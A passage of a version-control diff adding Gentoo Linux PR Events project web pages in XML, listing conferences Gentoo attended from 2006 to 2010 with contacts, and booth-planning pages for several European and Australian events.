+coordinating Gentoo's presence at various events hosted by the Free Software
+Community. This includes trade shows and developer meetings. By providing a
+single project to attempt to coordinate the Gentoo presence at events, it is
+hoped that Gentoo will present a more uniform and informed showing.
+</p></longdescription>
+
+<goals><p>
+The goal of the Gentoo Events project is to coordinate the Gentoo presence at
+these events.  This includes things such as procuring hardware, assisting
+developers in their travel and accomodations needs, obtaining printed press
+materials and release media, obtaining posters and flyers, and generally
+helping to ensure that our involvement in the event is a positive one that puts
+Gentoo in a good light, as well as making sure we have fun doing it.
+</p></goals>
+
+<!-- Developers -->
+<dev description="Misc">sping</dev>
+
+<extrachapter>
+<title>Events</title>
+<section>
+<title>Upcoming Events</title>
+<body>
+
+<p>
+If you wish to have your event listed here, please contact the <mail
+link="events@gentoo.org">Events team</mail> and specify the dates, location, and
+most importantly, a contact person/address. Someone from the Events team will
+contact you back.
+</p>
+
+<table>
+<tr>
+<th>Event</th>
+<th>Location</th>
+<th>Date</th>
+<th>Contact</th>
+<th>Status</th>
+</tr>
+
+<tr>
+<ti>OpenRheinRuhr 2010</ti>
+<ti>Germany, Oberhausen</ti>
+<ti>2010-11-13&nbsp;..&nbsp;2010-11-14</ti>
+<ti><mail>tove</mail></ti>
+<ti><uri link="https://www.gentoo-ev.org/wiki/Events:OpenRheinRuhr_2010">Join us!</uri></ti>
+</tr>
+
+</table>
+</body>
+</section>
+
+<section>
+<title>Past Events</title>
+<body>
+
+<p>
+Here is a non-exhaustive list of events in which Gentoo was represented.
+</p>
+
+<table>
+<tr>
+<th>Event</th>
+<th>Location</th>
+<th>Date</th>
+<th>Contact</th>
+</tr>
+
+<tr>
+<ti>FrOSCon</ti>
+<ti>Germany, St. Augustin (nearby Bonn)</ti>
+<ti>2010-08-21&nbsp;..&nbsp;2010-08-22</ti>
+<ti><mail>sping</mail></ti>
+<ti>See the <uri link="https://www.gentoo-ev.org/wiki/Events:FrOSCon_2010">Wiki</uri> for more details.</ti>
+</tr>
+
+<tr>
+<ti>Ottawa Linux Symposium</ti>
+<ti>Canada, ON, Ottawa, Ottawa Westin Hotel</ti>
+<ti>2010-06-13&nbsp;..&nbsp;2010-06-16</ti>
+<ti><mail>robbat2</mail></ti>
+<ti><uri link="http://en.wikipedia.org/wiki/Birds_of_a_Feather_%28computing%29">BoF</uri> session entitled <uri link="http://www.linuxsymposium.org/2010/view_abstract.php?content_key=75">&quot;State of Gentoo&quot;</uri></ti>
+</tr>
+
+<tr>
+<ti>LinuxTag</ti>
+<ti>Germany, Berlin</ti>
+<ti>2010-06-09&nbsp;..&nbsp;2010-06-12</ti>
+<ti><mail>sping</mail></ti>
+</tr>
+
+<tr>
+<ti>Chemnitzer Linux-Tage</ti>
+<ti>Germany, Chemnitz</ti>
+<ti>2010-03-13&nbsp;..&nbsp;2010-03-14</ti>
+<ti><mail>sping</mail></ti>
+</tr>
+
+<tr>
+<ti><uri link="fosdem2010-belgium">FOSDEM 2010</uri></ti>
+<ti>Belgium, Brussels</ti>
+<ti>2010-02-06&nbsp;..&nbsp;2010-02-07</ti>
+<ti>?</ti>
+</tr>
+
+<tr>
+<ti>26c3</ti>
+<ti>Germany, Berlin</ti>
+<ti>2009-12-27&nbsp;..&nbsp;2009-12-30</ti>
+<ti><mail>sping</mail></ti>
+</tr>
+
+<tr>
+<ti>OpenExpo Zurich/Winterthur</ti>
+<ti>Switzerland, Bern</ti>
+<ti>2009-09-23&nbsp;..&nbsp;2009-09-24</ti>
+<ti><mail>dev-zero</mail>, <mail>dertobi123</mail></ti>
+</tr>
+
+<tr>
+<ti>FrOSCon</ti>
+<ti>Germany, St. Augustin (nearby Bonn)</ti>
+<ti>2009-08-22&nbsp;..&nbsp;2009-08-23</ti>
+<ti><mail>patrick</mail></ti>
+</tr>
+
+<tr>
+<ti>Gentoo Summer Camp Russia</ti>
+<ti>Russia, Bologye</ti>
+<ti>2009-08-01&nbsp;..&nbsp;2009-08-02</ti>
+<ti>xmpp:gentoo_summer_camp@conference.gentoo.ru</ti>
+<ti><uri link="http://translate.google.ru/translate?u=http%3A%2F%2Fwww.gentoo.ru%2FGentoo_Summer_Camp_2009.html&amp;sl=ru&amp;tl=en&amp;hl=ru&amp;ie=UTF-8">Camp Website</uri></ti>
+</tr>
+
+<tr>
+<ti>Ottawa Linux Symposium</ti>
+<ti>Canada, Ottawa</ti>
+<ti>2009-07-13&nbsp;..&nbsp;2009-07-17</ti>
+<ti><mail>robbat2</mail></ti>
+<ti>BoF session</ti>
+</tr>
+
+<tr>
+<ti>LinuxTag</ti>
+<ti>Germany, Berlin</ti>
+<ti>2009-06-24&nbsp;..&nbsp;2009-06-27</ti>
+<ti><mail>rbu</mail></ti>
+</tr>
+
+<tr>
+<ti>Grazer Linuxtag</ti>
+<ti>Austria, Graz</ti>
+<ti>2009-04-25</ti>
+<ti><mail>amne</mail>, <mail>dertobi123</mail></ti>
+</tr>
+
+<tr>
+<ti>OpenExpo Bern</ti>
+<ti>Switzerland, Bern</ti>
+<ti>2009-04-01&nbsp;..&nbsp;2009-04-02</ti>
+<ti><mail>dev-zero</mail>, <mail>dertobi123</mail></ti>
+<ti>Booth confirmed</ti>
+</tr>
+
+<tr>
+<ti>Chemnitzer Linux-Tage</ti>
+<ti>Germany, Chemnitz</ti>
+<ti>2009-03-14&nbsp;..&nbsp;2009-03-15</ti>
+<ti><mail>amne</mail></ti>
+<ti>Booth confirmed, if you want to help poke <mail>amne</mail> or <mail>dertobi123</mail>.</ti>
+</tr>
+
+<tr>
+<ti>SCALE</ti>
+<ti>Los Angeles, USA</ti>
+<ti>2009-02-20&nbsp;..&nbsp;2009-02-22</ti>
+<ti><mail>omp</mail></ti>
+<ti>Per our request, our booth has been cancelled. No developers will be able to attend.</ti>
+</tr>
+
+<tr>
+<ti>FOSDEM</ti>
+<ti>Belgium, Brussels</ti>
+<ti>2009-02-07&nbsp;..&nbsp;2009-02-08</ti>
+<ti><mail>dertobi123</mail>, <mail>grobian</mail></ti>
+<ti>Booth confirmed, see <uri link="http://www.gentoo-ev.org/wiki/Fosdem2009">the Wiki</uri> for more details.</ti>
+</tr>
+
+<tr>
+<ti>25c3</ti>
+<ti>Germany, Berlin</ti>
+<ti>2008-12-27&nbsp;..&nbsp;2008-12-30</ti>
+<ti><mail>dertobi123</mail></ti>
+<ti>No booth or something like that, we'll have a dinner with Gentoo people on 27th, poke <mail>dertobi123</mail>.</ti>
+</tr>
+
+<tr>
+<ti>foss.in</ti>
+<ti>Bangalore, India</ti>
+<ti>-</ti>
+<ti>-</ti>
+<ti>-</ti>
+</tr>
+
+<tr>
+<ti>Ottawa Linux Symposium</ti>
+<ti>Canada, Ottawa</ti>
+<ti>2008-07-23&nbsp;..&nbsp;2009-07-26</ti>
+<ti><mail>robbat2</mail></ti>
+<ti>BoF session</ti>
+</tr>
+
+<tr>
+<ti>LinuxTag (booth accepted, no talks)</ti>
+<ti>Germany, Berlin</ti>
+<ti>2008-05-28&nbsp;..&nbsp;2008-05-31</ti>
+<ti><mail link="rbu@gentoo.org">Robert Buchholz</mail></ti>
+</tr>
+
+<tr>
+<ti>Open Source Expo 08 (talk, no booth)</ti>
+<ti>Germany, Karlsruhe</ti>
+<ti>2008-05-25&nbsp;..&nbsp;2008-05-26</ti>
+<ti><mail link="dertobi123@gentoo.org">Tobias Scherbaum</mail></ti>
+</tr>
+
+<tr>
+<ti>Grazer Linuxtag</ti>
+<ti>Austria, Graz</ti>
+<ti>2008-04-19</ti>
+<ti>
+  <mail link="amne@gentoo.org">Wernfried Haas</mail>,
+  <mail link="dertobi123@gentoo.org">Tobias Scherbaum</mail>
+</ti>
+</tr>
+
+<tr>
+<ti>OpenExpo</ti>
+<ti>Switzerland, Bern</ti>
+<ti>2008-03-12&nbsp;..&nbsp;2008-03-13</ti>
+<ti>
+  <mail link="dev-zero@gentoo.org">Tiziano Muller</mail>,
+  <mail link="dertobi123@gentoo.org">Tobias Scherbaum</mail>
+</ti>
+</tr>
+
+<tr>
+<ti><uri link="clt2008-germany">Chemnitzer Linuxtage</uri></ti>
+<ti>Germany, Chemnitz</ti>
+<ti>2008-03-01&nbsp;..&nbsp;2008-03-02</ti>
+<ti>
+  <mail link="dertobi123@gentoo.org">Tobias Scherbaum</mail>,
+  <mail link="rbu@gentoo.org">Robert Buchholz</mail>
+</ti>
+</tr>
+
+<tr>
+<ti>FOSDEM</ti>
+<ti>Belgium, Brussels</ti>
+<ti>2008-02-23&nbsp;..&nbsp;2008-02-24</ti>
+<ti>
+  <mail link="jokey@gentoo.org">Markus Ullmann</mail>,
+  <mail link="dertobi123@gentoo.org">Tobias Scherbaum</mail>
+</ti>
+</tr>
+
+<tr>
+<ti>Florida Linux Show</ti>
+<ti>USA, Florida, Jacksonville</ti>
+<ti>2008-02-11</ti>
+<ti><mail link="wltjr@gentoo.org">William Thomson</mail></ti>
+</tr>
+
+<tr>
+<ti>SCALE</ti>
+<ti>USA, California, Los Angelos</ti>
+<ti>2008-02-08&nbsp;..&nbsp;2008-02-10</ti>
+<ti><mail link="omp@gentoo.org">David Shakaryan</mail></ti>
+</tr>
+
+<tr>
+<ti><uri link="lca2008-australia">linux.conf.au 2008</uri></ti>
+<ti>Australia, Victoria, Melbourne</ti>
+<ti>2008-01-28&nbsp;..&nbsp;2008-02-02</ti>
+<ti><mail link="mark_alec@gentoo.org">Mark Kowarsky</mail></ti>
+</tr>
+
+<tr>
+<ti><uri link="foss.in2007-india">FOSS.IN 2007</uri></ti>
+<ti>Bangalore, India</ti>
+<ti>2007-12-04&nbsp;..&nbsp;2007-12-08</ti>
+<ti><mail link="anant@gentoo.org">Anant Narayanan</mail></ti>
+</tr>
+
+<tr>
+<ti>FrOSCon</ti>
+<ti>Germany, St. Augustin</ti>
+<ti>2007-08-25&nbsp;..&nbsp;2007-08-26</ti>
+<ti><mail>tove</mail></ti>
+</tr>
+
+<tr>
+<ti>FOSSCON</ti>
+<ti>USA, CA, San Diego</ti>
+<ti>2007-08-11&nbsp;..&nbsp;2007-08-12</ti>
+<ti><mail link="christel@gentoo.org">Christel Dahlskjaer</mail></ti>
+</tr>
+
+<tr>
+<ti>Linux World Conference and Expo</ti>
+<ti>USA, CA, San Fransico</ti>
+<ti>2007-08-06&nbsp;..&nbsp;2007-08-09</ti>
+<ti><mail link="dostrow@gentoo.org">Daniel Ostrow</mail></ti>
+</tr>
+
+<tr>
+<ti><uri link="guk07">Gentoo UK 2007</uri></ti>
+<ti>UK, London</ti>
+<ti>2007-06-14</ti>
+<ti><mail link="welp@gentoo.org">Peter Weller</mail></ti>
+</tr>
+
+<tr>
+<ti><uri link="24hours-france">"Computer Fair and OS meeting"</uri></ti>
+<ti>France, Maubeuge</ti>
+<ti>2007-06-02&nbsp;..&nbsp;2007-06-03</ti>
+<ti><mail>dimitry</mail></ti>
+</tr>
+
+<tr>
+<ti><uri link="clt2007-germany">"Chemnitzer Linuxtage"</uri></ti>
+<ti>Germany, Chemnitz</ti>
+<ti>2007-03-03&nbsp;..&nbsp;2007-03-04</ti>
+<ti><mail link="dertobi123@gentoo.org">Tobias Scherbaum</mail></ti>
+</tr>
+
+<tr>
+<ti><uri link="linuxforum2007-denmark">LinuxForum</uri></ti>
+<ti>Denmark, Copenhagen</ti>
+<ti>2007-03-02&nbsp;..&nbsp;2007-03-03</ti>
+<ti><mail link="eroyf@gentoo.org">Alexander Færøy</mail></ti>
+</tr>
+
+<tr>
+<ti><uri link="fosdem2007-belgium">Free and Open Source Software Developers'
+European Meeting</uri></ti>
+<ti>Belgium, Brussels</ti>
+<ti>2007-02-24&nbsp;..&nbsp;2007-02-25</ti>
+<ti><mail link="diox@gentoo.org">Dimitry Bradt</mail></ti>
+</tr>
+
+<tr>
+<ti>Southern California Linux Expo (SCALE)</ti>
+<ti>USA, CA, Los Angeles</ti>
+<ti>2007-02-10&nbsp;..&nbsp;2007-02-11</ti>
+<ti><mail link="christel@gentoo.org">Christel Dahlskjaer</mail></ti>
+</tr>
+
+<tr>
+<ti>Free and Open Source Software, India (FOSS.IN)</ti>
+<ti>Bangalore, India</ti>
+<ti>2006-11-24&nbsp;..&nbsp;2006-11-26</ti>
+<ti><mail link="fox2mike@gentoo.org">Shyam Mani</mail></ti>
+</tr>
+
+<tr>
+<ti>Linux World Conference and Expo</ti>
+<ti>Germany, Cologne</ti>
+<ti>2006-11-14&nbsp;..&nbsp;2006-11-16</ti>
+<ti><mail link="ian@gentoo.org">Christian Hartmann</mail></ti>
+</tr>
+
+<tr>
+<ti><uri link="jdll2006-france/index.xml">Journées du Logiciel Libre
+(JDLL)</uri></ti>
+<ti>France, Lyon</ti>
+<ti>2006-10-13&nbsp;..&nbsp;2006-10-14</ti>
+<ti><mail link="nattfodd@gentoo.org">Alexandre Buisse</mail></ti>
+</tr>
+
+<tr>
+<ti><uri link="lwe2006-sanfran/index.xml">Linux World Conference and
+Expo</uri></ti>
+<ti>USA, CA, San Fransisco</ti>
+<ti>2006-08-14&nbsp;..&nbsp;2006-08-17</ti>
+<ti><mail link="dostrow@gentoo.org">Daniel Ostrow</mail></ti>
+</tr>
+
+<tr>
+<ti>Open Source Convention (OSCON)</ti>
+<ti>USA, OR, Portland</ti>
+<ti>2006-07-24&nbsp;..&nbsp;2006-07-28</ti>
+<ti><mail link="dberkholz@gentoo.org">Donnie Berkholz</mail></ti>
+</tr>
+
+<tr>
+<ti>Ottawa Linux Symposium</ti>
+<ti>Canada, Ottawa</ti>
+<ti>2006-07-19&nbsp;..&nbsp;2006-07-22</ti>
+<ti><mail link="chutzpah@gentoo.org">Patrick McLean</mail></ti>
+</tr>
+
+<tr>
+<ti>Gentoo UK Conference</ti>
+<ti>UK, London</ti>
+<ti>2006-07-08</ti>
+<ti><mail link="dsd@gentoo.org">Daniel Drake</mail></ti>
+</tr>
+
+<tr>
+<ti><uri link="lsm2006-france/index.xml">Libre Software Meeting</uri></ti>
+<ti>France, Nancy</ti>
+<ti>2006-07-04&nbsp;..&nbsp;2006-07-08</ti>
+<ti><mail link="dams@gentoo.org">Damien Krotkine</mail></ti>
+</tr>
+
+<tr>
+<ti>GNOME User and Developer European Conference (GUADEC)</ti>
+<ti>Spain, Vilanova</ti>
+<ti>2006-06-24&nbsp;..&nbsp;2006-06-30</ti>
+<ti><mail link="dsd@gentoo.org">Daniel Drake</mail></ti>
+</tr>
+
+<tr>
+<ti>Free and Open Source Conference (FrOSCon)</ti>
+<ti>Germany, Sankt Augustin</ti>
+<ti>2006-06-24&nbsp;..&nbsp;2006-06-25</ti>
+<ti><mail link="sebastian@gentoo.org">Sebastian Bergmann</mail></ti>
+</tr>
+
+<tr>
+<ti>Linux World Conference and Expo</ti>
+<ti>USA, MA, Boston</ti>
+<ti>2006-04-03&nbsp;..&nbsp;2006-04-06</ti>
+<ti><mail link="dostrow@gentoo.org">Daniel Ostrow</mail></ti>
+</tr>
+
+<tr>
+<ti>Free and Open Source Software Developers' European Meeting</ti>
+<ti>Belgium, Brussels</ti>
+<ti>2006-02-25&nbsp;..&nbsp;2006-02-26</ti>
+<ti><mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail></ti>
+</tr>
+
+</table>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Media</title>
+<section>
+<title>Files</title>
+<body>
+
+<p>
+This is a listing of files that can be used for your events.
+</p>
+
+<p>
+<uri link="http://sources.gentoo.org/viewcvs.py/gentoo-projects/pr/images/sign-big-150dpi.png">Large Poster</uri>
+<uri link="http://sources.gentoo.org/viewcvs.py/gentoo-projects/pr/events/">CVS repo</uri>
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/pr/events/jdll2006-france/index.xml b/xml/htdocs/proj/en/pr/events/jdll2006-france/index.xml
new file mode 100644
index 00000000..51877f9b
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/jdll2006-france/index.xml
@@ -0,0 +1,137 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/pr/events/jdll2006-france/index.xml,v 1.4 2007/07/13 20:58:36 neysx Exp $ -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+  <name>jdll2006-france</name>
+  <longname>Journées du Logiciel Libre 2006 Event</longname>
+  <date>22 September 2006</date>
+  <author title="nattfodd">
+    <mail link="nattfodd@gentoo.org">Alexandre Buisse</mail>
+  </author>
+
+  <description>
+  This subproject is a place to hold informations on organizing the Gentoo booth
+  at the Journées du Logiciel Libre 2006.
+  </description>
+  
+  <longdescription><p>
+  The 8th Journées du Logiciel Libre (Free Software Days) will be held on
+  October 13th-14th 2006 in Lyon, in the CPE school on the Doua/Lyon 1 Campus.</p>
+  <ul>
+      <li>official website : <uri>http://www.jdll.org</uri></li>
+  </ul>
+  <p>We need <b>more</b> people!</p>
+  </longdescription>
+  
+  <goals>
+  <ul>
+    <li>get a gentoo poster</li>
+    <li>get CDs to sell on the booth</li>
+    <li>decide which animations we'll provide on the booth</li>
+    <li>list practical actions to do, deadlines, and so on</li>
+  </ul>
+  </goals>
+  
+  <extrachapter>
+    <title>Preparing the event</title>
+    <section>
+      <title>People</title>
+      <body>
+        <p>This is the list of people related to this event:</p>
+          <table>
+            <tr>
+              <th>Name</th>
+              <th>Title</th>
+              <th>Function on the booth</th>
+              <th>Date of arrival</th>
+              <th>Date of departure</th>
+              <th>City coming from</th>
+              <th>Coming using</th>
+              <th>Sleeping in</th>
+              <th>Email</th>
+              <th>Phone</th>
+            </tr>
+            <tr>
+              <ti>nattfodd - Alexandre Buisse</ti>
+              <ti>gentoo developer</ti>
+              <ti>everything?</ti>
+              <ti>thursday 12th evening</ti>
+              <ti>saturday 14th evening</ti>
+              <ti>Paris</ti>
+              <ti>Train</ti>
+              <ti>At home</ti>
+              <ti>nattfodd@gentoo.org</ti>
+              <ti>n/a</ti>
+            </tr>
+            <tr>
+              <ti>aballier - Alexis Ballier</ti>
+              <ti>gentoo developer</ti>
+              <ti>what's left?</ti>
+              <ti>wednesday 11th morning</ti>
+              <ti>saturday 14th evening</ti>
+              <ti>Marseille</ti>
+              <ti>Train</ti>
+              <ti>tonfa's home</ti>
+              <ti>aballier@gentoo.org</ti>
+	      <ti>n/a</ti>
+	     </tr>
+          </table>
+      </body>
+    </section>
+    <section>
+      <title>Things needed</title>
+      <body>
+        <p>This is the list of stuff we need:</p>
+          <table>
+            <tr>
+              <th>Name</th>
+              <th>type</th>
+              <th>We have it yet</th>
+              <th>Who is working on it</th>
+              <th>Date we need it</th>
+              <th>Requires</th>
+              <th>Who is Responsible</th>
+              <th>Who brings it</th>
+              <th>description</th>
+            </tr>
+            <tr>
+              <ti>CD-R</ti>
+              <ti>hardware</ti>
+              <ti>no</ti>
+              <ti>nattfodd</ti>
+              <ti>October 13th</ti>
+              <ti>-</ti>
+              <ti>nattfodd</ti>
+              <ti>nattfodd</ti>
+              <ti>CD-R to burn CD on-demand on the booth</ti>
+            </tr>
+            <tr>
+              <ti>Poster file</ti>
+              <ti>data</ti>
+              <ti>yes</ti>
+              <ti>nattfodd</ti>
+              <ti> - </ti>
+              <ti>Poster file</ti>
+              <ti>nattfodd</ti>
+              <ti>nattfodd</ti>
+              <ti>pdf file of the poster : <uri>http://www.damz.net/stuff/affiche.pdf</uri></ti>
+            </tr>
+            <tr>
+              <ti>Gentoo Poster</ti>
+              <ti>poster</ti>
+              <ti>no</ti>
+              <ti>nattfodd</ti>
+              <ti>friday 13th</ti>
+              <ti>Poster file</ti>
+              <ti>nattfodd</ti>
+              <ti>nattfodd</ti>
+              <ti>Print a nice big A0 poster, with plastic cover or get it from dams</ti>
+            </tr>
+          </table>
+      </body>
+    </section>
+  </extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/pr/events/lca2008-australia/index.xml b/xml/htdocs/proj/en/pr/events/lca2008-australia/index.xml
new file mode 100644
index 00000000..936a5fa8
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/lca2008-australia/index.xml
@@ -0,0 +1,41 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>lca2008</name>
+<longname>linux.conf.au 2008</longname>
+<date>17 Aug 2007</date>
+<author title="Author">
+  <mail link="mark_alec@gentoo.org">Mark Kowarsky</mail>
+</author>
+
+<description>
+Annual Australian conference for Free and Open Source software lovers
+</description>
+
+<longdescription><p>
+linux.conf.au is coming home for its tenth birthday. It all started in Melbourne back in 1999, with CALU: Conference of Australian Linux Users which was held at Monash University over 3 days in July 1999. Renamed to linux.conf.au in 2001 it has grown to become one of the world's best technical Linux conferences. It continues to be run by community volunteers for the community volunteers that have made Linux and Free and Open Source Software the phenomenon it is today.
+</p></longdescription>
+
+<dev role="Lead">mark_alec</dev>
+
+<extrachapter>
+<title>About</title>
+<section>
+<body>
+
+<p>
+At the upcoming linux.conf.au, there will be a half-day Gentoo miniconf with various speakers and presentations relating to different aspects of Gentoo.</p>
+
+<p>The miniconf will take place in one of the two days preceeding the main conference.
+</p>
+
+<p>For more information, see <uri link="http://gentoo.org.au/index.php?title=Lca08">gentoo.org.au's wiki</uri></p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/pr/events/linuxforum2007-denmark/index.xml b/xml/htdocs/proj/en/pr/events/linuxforum2007-denmark/index.xml
new file mode 100644
index 00000000..e248e83f
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/linuxforum2007-denmark/index.xml
@@ -0,0 +1,43 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/pr/events/linuxforum2007-denmark/index.xml,v 1.3 2007/02/18 21:49:49 bangert Exp $ -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>linuxforum2007-denmark</name>
+<longname>LinuxForum 2007</longname>
+<date>2-3 March 2007</date>
+<author title="Author">
+  <mail link="eroyf@gentoo.org">Alexander Færøy</mail>
+</author>
+
+<description>
+This subproject is a place to hold informations on organizing the Gentoo
+booth at LinuxForum 2007 in Copenhagen, Denmark.
+</description>
+
+<longdescription>
+<figure link="http://LinuxForum.dk/2007/presse/images/LF07-400x45_banner.png" />
+<ul>
+	<li>Official website : <uri>http://www.linuxforum.dk/</uri></li>
+</ul>
+</longdescription>
+
+<dev role="Lead">eroyf</dev>
+<dev role="Lead">kloeri</dev>
+<dev role="Member">dercorny</dev>
+<dev role="Member">jaervosz</dev>
+<dev role="Member">bangert</dev>
+
+<extrachapter>
+<title>Extra Information</title>
+<section>
+<title>Foo</title>
+<body>
+
+
+</body>
+</section>
+</extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/pr/events/lsm2006-france/index.xml b/xml/htdocs/proj/en/pr/events/lsm2006-france/index.xml
new file mode 100644
index 00000000..068141ab
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/lsm2006-france/index.xml
@@ -0,0 +1,189 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/pr/events/lsm2006-france/index.xml,v 1.5 2007/07/13 20:58:36 neysx Exp $ -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+  <name>lsm2006-france</name>
+  <longname>Libre Software Meeting 2006 Event</longname>
+  <date>07 June 2006</date>
+  <author title="dams">
+    <mail link="dams@gentoo.org">Damien Krotkine</mail>
+  </author>
+
+  <description>
+  This subproject is a place to hold informations on organizing the Gentoo booth
+  at the Libre Software Meeting 2006 (Rencontres Mondiales du Logiciel Libre).
+  </description>
+  
+  <longdescription><p>
+  The 7th Rencontres Mondiales du Logiciel Libre (also known as Libre Software
+  Meeting) will be held on July 4th-8th 2006 in Vandoeuvre-les-Nancy, in the "1er
+  cycle" building of the Faculte des Sciences, campus of Henri Poincare - Nancy 1
+  University.</p>
+  <ul>
+  <li>official website : <uri>http://www.rmll.info/?lang=en</uri></li>
+  </ul>
+  </longdescription>
+  
+  <goals>
+  <ul>
+    <li>get a gentoo poster</li>
+    <li>get CDs to sell on the booth</li>
+    <li>get T-Shirts to sell on the booth</li>
+    <li>decide which animations we'll provide on the booth</li>
+    <li>list practical actions to do, deadlines, and so on</li>
+  </ul>
+  </goals>
+  
+  <extrachapter>
+    <title>Preparing the event</title>
+    <section>
+      <title>People</title>
+      <body>
+        <p>This is the list of people related to this event:</p>
+          <table>
+            <tr>
+              <th>Name</th>
+              <th>Title</th>
+              <th>Function on the booth</th>
+              <th>Date of arrival</th>
+              <th>Date of departure</th>
+              <th>City coming from</th>
+              <th>Coming using</th>
+              <th>Sleeping in</th>
+              <th>Email</th>
+              <th>Phone</th>
+            </tr>
+            <tr>
+              <ti>dams - Damien Krotkine</ti>
+              <ti>gentoo developper</ti>
+              <ti>t-shirt and cd seller, other ?</ti>
+              <ti>July 3th evening</ti>
+              <ti>July 8th or 9th</ti>
+              <ti>Paris</ti>
+              <ti>car from PLF or from mandriva</ti>
+              <ti>gite rural</ti>
+              <ti>dams@gentoo.org</ti>
+              <ti>n/a</ti>
+            </tr>
+            <tr>
+              <ti>kernelsensei</ti>
+              <ti>gentoo developper</ti>
+              <ti>t-shirt and cd seller, other ?</ti>
+              <ti>July 3rd evening</ti>
+              <ti>July 8th or 9th</ti>
+              <ti> ?? </ti>
+              <ti> ?? </ti>
+              <ti> ?? </ti> 
+              <ti>kernelsensei@gentoo.org</ti>
+              <ti> ?? </ti>
+            </tr>
+          </table>
+      </body>
+    </section>
+    <section>
+      <title>Things needed</title>
+      <body>
+        <p>This is the list of stuff we need:</p>
+          <table>
+            <tr>
+              <th>Name</th>
+              <th>type</th>
+              <th>We have it yet</th>
+              <th>Who is working on it</th>
+              <th>Date we need it</th>
+              <th>Requires</th>
+              <th>Who is Responsible</th>
+              <th>Who brings it</th>
+              <th>description</th>
+            </tr>
+            <tr>
+              <ti>CD-R</ti>
+              <ti>hardware</ti>
+              <ti>no</ti>
+              <ti>kernelsensei</ti>
+              <ti>July 3rd</ti>
+              <ti>-</ti>
+              <ti>kernelsensei</ti>
+              <ti>kernelsensei</ti>
+              <ti>CD-R to burn CD on-demand on the booth</ti>
+            </tr>
+            <tr>
+              <ti>CD-R cover prints</ti>
+              <ti>hardware</ti>
+              <ti>yes</ti>
+              <ti>dams</ti>
+              <ti>July 3rd</ti>
+              <ti>-</ti>
+              <ti>dams</ti>
+              <ti>dams</ti>
+              <ti>papers with cd cover printed, to stick on the cds</ti>
+            </tr>
+            <tr>
+              <ti>T-Shirts artwork</ti>
+              <ti>data</ti>
+              <ti>no</ti>
+              <ti>dams</ti>
+              <ti>June 12th</ti>
+              <ti>-</ti>
+              <ti>dams</ti>
+              <ti>dams</ti>
+              <ti>t-shirt artwork so that we can print it</ti>
+            </tr>
+            <tr>
+              <ti>T-Shirts print shop</ti>
+              <ti>data</ti>
+              <ti>yes</ti>
+              <ti>dams</ti>
+              <ti>very soon</ti>
+              <ti>-</ti>
+              <ti>dams</ti>
+              <ti>dams</ti>
+              <ti>
+                <ul>
+                  <li>rue Orfila, dans le 20e, 7e50 la piece en deux couleurs pour 200</li>
+                  <li>Anarres boutique/atelier de serigraphie,  2 rue richard lenoir - angle rue de Charonne 75011 Paris</li>
+                </ul>
+              </ti>
+            </tr>
+            <tr>
+              <ti>T-Shirts</ti>
+              <ti>wear</ti>
+              <ti>no</ti>
+              <ti>dams</ti>
+              <ti>July 3rd</ti>
+              <ti>T-Shirt artwork, T-shirt print shop</ti>
+              <ti>dams</ti>
+              <ti>dams</ti>
+              <ti> XXX let print the t-shirt artwork XXX -> Too late, too expensive, we won't have t-shirt</ti>
+            </tr>
+            <tr>
+              <ti>Poster file</ti>
+              <ti>data</ti>
+              <ti>yes</ti>
+              <ti>dams</ti>
+              <ti> - </ti>
+              <ti>Poster file</ti>
+              <ti>dams</ti>
+              <ti>dams</ti>
+              <ti>pdf file of the poster, there : <uri>http://www.damz.net/stuff/affiche.pdf</uri></ti>
+            </tr>
+            <tr>
+              <ti>Gentoo Poster</ti>
+              <ti>poster</ti>
+              <ti>yes</ti>
+              <ti>dams</ti>
+              <ti>June 28</ti>
+              <ti>Poster file</ti>
+              <ti>dams</ti>
+              <ti>dams</ti>
+              <ti>Print a nice big A0 poster, with plastic cover</ti>
+            </tr>
+
+          </table>
+      </body>
+    </section>
+  </extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/pr/events/lsm2006-france/placeholder.txt b/xml/htdocs/proj/en/pr/events/lsm2006-france/placeholder.txt
new file mode 100644
index 00000000..a93df416
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/lsm2006-france/placeholder.txt
@@ -0,0 +1 @@
+# This is a place holder... ph34r...
diff --git a/xml/htdocs/proj/en/pr/events/lwe2006-boston/placeholder.txt b/xml/htdocs/proj/en/pr/events/lwe2006-boston/placeholder.txt
new file mode 100644
index 00000000..a93df416
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/lwe2006-boston/placeholder.txt
@@ -0,0 +1 @@
+# This is a place holder... ph34r...
